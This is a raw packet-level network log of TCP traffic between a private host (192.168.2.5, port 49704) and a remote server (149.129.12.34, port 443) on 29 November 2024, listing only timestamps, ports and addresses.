Nov 29, 2024 15:45:12.361615896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.364304066 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.366888046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.366906881 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.366976976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.366985083 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.367021084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.367896080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.372446060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.372466087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.372525930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.372540951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.372564077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.372585058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.374897003 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.545404911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.545430899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.545500040 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.545527935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.545572996 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.550841093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.550862074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.550894976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.550904036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.550935984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.550946951 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.556442022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.556462049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.556526899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.556545973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.556566954 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.556586981 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.561233997 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.561254978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.561290026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.561299086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.561321974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.561341047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.566778898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.566804886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.566838980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.566852093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.566870928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.566895008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.572015047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.572036028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.572068930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.572076082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.572099924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.572118998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.577519894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.577559948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.577575922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.577600002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.577615976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.577652931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.583106995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.583127022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.583168983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.583190918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.583206892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.583234072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.815319061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.815332890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.815378904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.815416098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.815440893 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.815464973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.815485954 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.820229053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.820250034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.820322990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.820331097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.820374012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.825789928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.825810909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.825867891 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.825875044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.825957060 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.831254959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.831300974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.831371069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.831378937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.831422091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.836230040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.836250067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.836318016 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.836325884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.836368084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.842068911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.842088938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.842164993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.842164993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.842173100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.842212915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.846947908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.846968889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.847026110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.847033978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.847043991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.847069979 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.852475882 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.852488041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.852508068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.852547884 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.852559090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.852570057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.852598906 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.885708094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.036380053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.036410093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.036521912 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.036552906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.036595106 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.041244984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.041265965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.041361094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.041373968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.041416883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.046787024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.046807051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.046868086 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.046881914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.046902895 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.046926022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.052295923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.052318096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.052391052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.052401066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.052426100 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.052440882 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.057854891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.057898998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.057991028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.058001995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.058042049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.063050985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.063072920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.063112020 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.063121080 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.063143015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.063157082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.067971945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.067991018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.068063974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.068073034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.068106890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.073601961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.073621988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.073683023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.073693037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.073710918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.073724985 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.247148991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.247184038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.247236967 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.247272015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.247289896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.247308969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.252615929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.252644062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.252681971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.252700090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.252712965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.252731085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.257510900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.257540941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.257576942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.257590055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.257612944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.257623911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.263073921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.263098955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.263134956 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.263147116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.263168097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.263183117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.268570900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.268630981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.268660069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.268671989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.268693924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.268708944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.273962975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.273987055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.274034023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.274039984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.274075031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.279331923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.279357910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.279438972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.279447079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.279484034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.284842968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.284864902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.284918070 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.284924030 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.284934044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.284957886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.458023071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.458055973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.458178997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.458190918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.458226919 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.463475943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.463496923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.463568926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.463574886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.463593006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.463610888 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.468296051 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.468316078 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.468379021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.468386889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.468409061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.468425035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.474059105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.474080086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.474136114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.474144936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.474163055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.474179983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.479406118 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.479427099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.479481936 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.479485989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.479511976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.479528904 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.484595060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.484616041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.484667063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.484675884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.484694004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.484707117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.490133047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.490154028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.490227938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.490242958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.490281105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.495022058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.495042086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.495124102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.495130062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.495165110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.592304945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.827474117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.827493906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.827533007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.827620029 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.827639103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.827671051 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.827688932 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.832290888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.832321882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.832389116 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.832400084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.832417965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.832442045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.837919950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.837949991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.837980986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.837986946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.838027000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.843333960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.843358040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.843436003 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.843442917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.843492985 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.847985983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.848227024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.848261118 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.848331928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.848337889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.848378897 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.854104996 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.854134083 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.854165077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.854176044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.854207993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.854228973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.854341030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.858923912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.858951092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.859025002 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.859038115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.859077930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.864545107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.864567041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.864605904 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.864615917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:13.864648104 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.864674091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:13.884078026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.037714958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.037754059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.037821054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.037849903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.037895918 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.037916899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.043204069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.043225050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.043296099 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.043328047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.043396950 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.048181057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.048202991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.048250914 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.048259020 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.048294067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.048319101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.053628922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.053651094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.053725958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.053755045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.053801060 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.059118986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.059138060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.059181929 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.059206009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.059222937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.059247017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.064296961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.064323902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.064363956 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.064383030 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.064409018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.064440012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.067460060 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.069845915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.069873095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.069931984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.069947958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.069978952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.070019007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.074712038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.074738026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.074783087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.074804068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:14.074837923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:14.074862003 CET	49704	443	192.168.2.5	149.129.12.34
